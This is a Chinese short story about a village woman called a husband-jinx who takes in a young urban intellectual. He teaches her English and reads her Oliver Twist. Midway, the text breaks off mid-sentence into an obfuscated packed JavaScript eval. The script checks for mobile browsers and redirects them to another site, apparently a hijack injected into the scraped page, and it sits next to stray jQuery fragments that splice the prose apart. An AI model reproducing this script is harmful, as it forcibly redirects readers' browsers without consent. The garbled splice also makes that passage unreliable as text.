李文翠六岁时，她爹在院子里栽种了一棵小树。那时她的身高和小树齐平，但无论是她还是小树，都没有她爹的大腿高。


    “爹，这是什么？”李文翠歪着脑袋问。


    “楝树。”她爹蹲下来，摸了摸她的头。


    “楝树是什么树？”


    “给我们囡囡的嫁妆树。”她娘也笑着蹲了下来，轻轻地捏了捏她的脸。


    “嫁妆树？”


    “等我们囡囡长大嫁人的时候，这棵树也长大了，砍了给我们囡囡打家具，盖新房。”


    李文翠看着那棵小小的，跟她齐高的树苗，摇头说：“不要砍不要砍，囡囡不嫁人。”


    李文翠的爹娘对视一眼，哈哈大笑起来，全当这是小孩的玩笑话。


    可谁也没想到，这话会在未来一语成谶。


    李文翠20岁的时候，和本村的一个男孩定亲了。她爹高高兴兴地站在院子里，准备伐掉院里的苦楝树，给自己的女儿打嫁妆。


    李文翠很不高兴，她抱着这棵树的树干不撒手。甚至准备举报她爹私自砍树，但她爹却说已经打好报告了。


    后来她爹还是没砍成树。


    不过不是因为她阻止了她爹，而是因为和她定亲的男孩出事了。这门亲事作罢，自然不需要砍掉它做嫁妆了。


    李文翠22岁的时候，她又和临村的一个男人定亲了。苦楝树的树冠更大了，树干也变粗了，李文翠双手环抱都抱不住。


    她爹看着仰头看着这棵树，心想总算能砍掉了。


    但就在动工那一天，和李文翠定亲的那个男人又出事了。


    这下好了，李文翠在本村和临村都出名了，人人都说她克夫。


    李文翠的爹娘头疼不已，害怕李文翠一辈子都嫁不出去了。


    李文翠本人倒是不以为意，每天都忙着组织村里的妇女一起挖沟渠。


    在屋里的时候，李文翠常常听到爹娘的叹息声，倒不是她想听，主要是她爹娘总会凑到她旁边重重地叹气。


    他们一边叹气一边说：“怎么办，怎么办，囡囡嫁不出去，以后怎么活？”


    “什么怎么活！妇女能顶半边天！我都顶了半边天我还活不下去了？”李文翠说完，扛起锄头就往外跑。


    村里人也会在背后议论她，但李文翠只是干自己的活，比谁干得都好，比谁干得都认真。


    三年后，李文翠25岁，她爹娘不信邪，托村长伯伯在临村的临村的临村，又给她寻了一个亲，对方35岁。


    这回定亲对象没有出大事，只是在修房顶的时候从梯子上掉了下去。


    那边的人匆匆赶来荼村，要李文翠早点嫁过去照顾人。


    可没想到，不知她从哪里听说了李文翠克夫的名号，当场就在村里闹了起来，说李家骗婚，要害死她侄子。


    她侄子只是摔了腿，不严重，过些日子就好，要是真娶了李文翠这种克夫的女人，命都要丢啦。


    李文翠的爹娘连连道歉，最后以退婚和赔偿了事。


    又过了一年，李文翠26岁，村里来了五个知青。


    那个时候正是暮春时节，紫色的苦楝花开得正盛，从村尾常常飘来阵阵清香。


    村长站在房间的中心位置，周围围了好几圈的人。村长说需要把这五名知青分配到五家进行教育。


    五名青年中有四名很快就被领走了，唯独剩下一名瘦瘦高高的青年。因为村长一早就说了他家成分不好，谁也不想惹麻烦。


    青年低着头，看不清模样。


    “你们谁愿意领走他？”村长又问了一遍。


    有人看天，有人看地，就是没人看村长，更没人回答。


    李文翠的目光越过层层叠叠的人影，看到了那个垂着头的青年。不知为何，她想起了自己，那个被众人嫌弃说闲话的自己。


    于是，最后一排的李文翠“噌”地站起来。


    她大声说：“我们家愿意领。”


    青年闻言，抬起头，露出一双好看的眼睛。


    会议结束，李文翠就领着青年回家了。


    李文翠家在村尾的位置，村委开会的地方在村头。他们两一前一后，沉默地从村头走向村尾，布鞋擦过湿滑的青石板，溪水哗啦作响。


    “我叫李文翠，你叫什么？”李文翠突然出声。


    “宋潋舟。”一个低沉的声音响起。


    “潋？”李文翠转头看向宋潋舟，“楝树的楝？”


    “楝树是什么？”宋潋舟问。


    “就是那棵树，”李文翠扭身指向前方，“我家门口的那棵。”


    宋潋舟顺着李文翠指的方向看去，碧蓝天空，青砖黑瓦，一团紫色的云雾糅合了所有。


    “它是全村最好看的树。”宋潋舟的耳边响起一个有些得意的声音。


    他循声看向李文翠。


    她正朝他笑着，眼睛很亮，像白日里凭空闪耀的两颗星星。


    第二天一早，生产队的大喇叭闹醒了全村的人。宋潋舟跟着李文翠一家去地里，李文翠所在的小队已经满员，宋潋舟只能被分到其它小队。


    队长递给他一个锄头，转身就去安排其它工作了。


    宋潋舟看着手里的锄头，有些茫然。他在城里学美术，会拿画笔，但不会拿锄头。


    他握着锄头想向身边的人问询，大家却都默契十足地避开了他。他往远处望去，李文翠小小的身影似乎也在看他。


    宋潋舟收回目光，心一横，学着别人的动作，把锄头往地里一扎，再一勾。


    接着，他脚上的大拇指就血流如柱了。


    宋潋舟一屁股坐在了田埂上，抿嘴强忍着疼痛。


    大家停手看过来，没有言语，但每一个人的眼神都在说他蠢。


    李文翠不知何时跑了过来，蹲在他旁边：“你怎么了？”


    宋潋舟咬着牙，从牙缝里渗出两个字：“没事。”他不想说自己不会用锄头。


    李文翠看到了他鞋上的破洞和流血的大拇指，抬头朝大队长喊：“队长，我带宋潋舟同志去包扎。”


    说完李文翠朝宋潋舟露出了后背，她说：“上来吧，我背你回去。”


    宋潋舟没动，脸色很难看。


    李文翠扭头看向宋潋舟，眼睛亮亮的，她说：“我力气很大的。”


    周围的几个年轻男人发出起哄的声音，李文翠“噌”地站起来，扬起下巴，说：“闭嘴，小心我跟你们定亲。”


    几个男人立刻闭嘴，毕竟他们都想活。


    宋潋舟皱了皱眉。


    李文翠蹲下来，看向宋潋舟：“放心，我克夫，他们不会乱说我们的，毕竟没有哪个正常男人不想活。”


    “我不是这个意思。”


    “那上来吧，别耽误时间。”


    宋潋舟只好搭上了李文翠的肩。这也是他人生第一次跟一个女孩靠这么近。


    李文翠看着瘦瘦的，但是力气却出奇地大，虽然背着宋潋舟，但步履沉稳。


    “我经常挑猪粪的，”李文翠说，“跟你差不多的。”


    宋潋舟一僵，他知道李文翠的意思是重量差不多，但他的心情还是很复杂。


    “你很厉害。”宋潋舟还是回了一句。


    宋潋舟的脚没有大事，但确实不太方便干活。李文翠坐在宋潋舟身边，满脸严肃：“宋潋舟同志，你会什么？”


    李文翠这话没有半分嘲讽的意思，但在宋潋舟耳朵里自动变成了：“你这么蠢，锄地都能锄到自己的脚趾，你还会干什么？”


    “不会，我什么也不会，”宋潋舟的头扭向一边，沉默几秒后又扭了回来，他说，“所以我来向你们学习。”


    李文翠点点头：“宋潋舟同志，你的态度很好，但是你现在需要挣工分，不然没东西吃的。”


    宋潋舟低下头：“我就会画画写字。”


    李


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767765|178019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    文翠眼睛一亮，说：“那你可以去村里的宣传部。”


    于是宋潋舟得到了新的工作内容，画宣传海报。李文翠每天背着他去村委，再下地忙自己的事。


    一开始宋潋舟很不习惯，后来只要李文翠一朝他走，他就伸出胳膊。


    不过习惯没有持续很久，因为他的脚好了。村里的宣传工作也那么多，宋潋舟开始下地干活了。


    李文翠是个好老师，但不温柔，甚至严厉。宋潋舟在李文翠的棍棒教育下，学会了干农活。村里人也接纳了他，大家一起干农活，偶尔还会叫他帮忙写写对联大字什么的。


    宋潋舟同志逐渐适应了荼村的生活。白天干活，傍晚的时候偷偷看他带的书籍。他只藏了一本，反反复复地看，书页都快被翻烂了。


    秋去冬来，苦楝树结出了黄色的果子，一串一串地挂在树梢。


    冬天的农活少，白日里多了些空闲时间。宋潋舟躲在自己的房间看书，看得太入迷了，以至于他没有听见李文翠敲门的声音。


    李文翠担心宋潋舟出了什么事，推开门冲了进来。


    彼时，宋潋舟的手上正捧着一本全英文的书。


    宋潋舟和李文翠都愣了。


    “这是什么书？”李文翠关上门，打破沉默。


    宋潋舟在“英文版马克思语录”和“外国小说《雾都孤儿》”的选择中摇摆不定，最后他还是选择诚实，毕竟对面是李文翠。


    “《雾都孤儿》。”宋潋舟说。


    “孤儿？雾都？”李文翠压低声音。


    “小说名字。雾都是伦敦。”


    李文翠凑上来看，说：“这什么字，像溪里的蝌蚪。”


    “英文。”宋潋舟的声音有些颤抖。


    李文翠拿过那本书，随便翻了翻，说：“讲什么故事的？”


    “一个孤儿在伦敦历尽磨难，最终因为自己的善良和正义获得美好结局的故事。”宋潋舟强调了“善良和正义”。


    “他叫什么名字？”


    “谁？”


    “这个孤儿。”


    “Oli——奥立弗。”


    “好奇怪的名字。”


    “外国人的名字是这样的。”


    “宋潋舟。”李文翠突然喊了他的名字。


    “干什么？”


    “把这个故事讲给我听，好吗？”李文翠低下头，又抬起头，笑着说，“这样就算是我们一起看了。”


    宋潋舟放了心。他说：“好的。”


    于是宋潋舟每天又多了一个事——给李文翠讲故事。


    宋潋舟发现了自己讲故事的天赋，因为李文翠听得太认真了。她常常发出“啊，可怜的奥利弗”的感叹，或者“杜松子酒是什么东西？”的疑问。


    有时候李文翠也会兴冲冲地说：“宋潋舟，不如你教我几句英文吧？”


    宋潋舟就教她说“hello”。


    “hello，”李文翠小心翼翼地重复一遍，“什么意思呢？”


    “‘你好’的意思。”


    “还有什么？我还想学！”


    宋潋舟看着李文翠被烛光照得亮闪闪的眼睛，脑袋一抽，说了句：“I love you。”


    “爱拉乌油，”李文翠笑着问，“什么意思啊？”


    宋潋舟的耳朵红彤彤的，他轻咳了几声，义正言辞地说：“再见的意思。”


    于是每天李文翠都在跟宋潋舟分别的时候，乐呵呵地说：“爱拉乌油。”


    但是宋潋舟总是脸一僵，回复她“再见”。


    “你为什么不说英文？”


    “我喜欢说中文。”


    李文翠瞪大眼睛看向宋潋舟。


    “好吧，”宋潋舟一咬牙，说，“I love you。”


    末了，他还补了一句：“你别对别人说。”


    “我知道，这是洋文嘛，”李文翠说，“我只对你说。”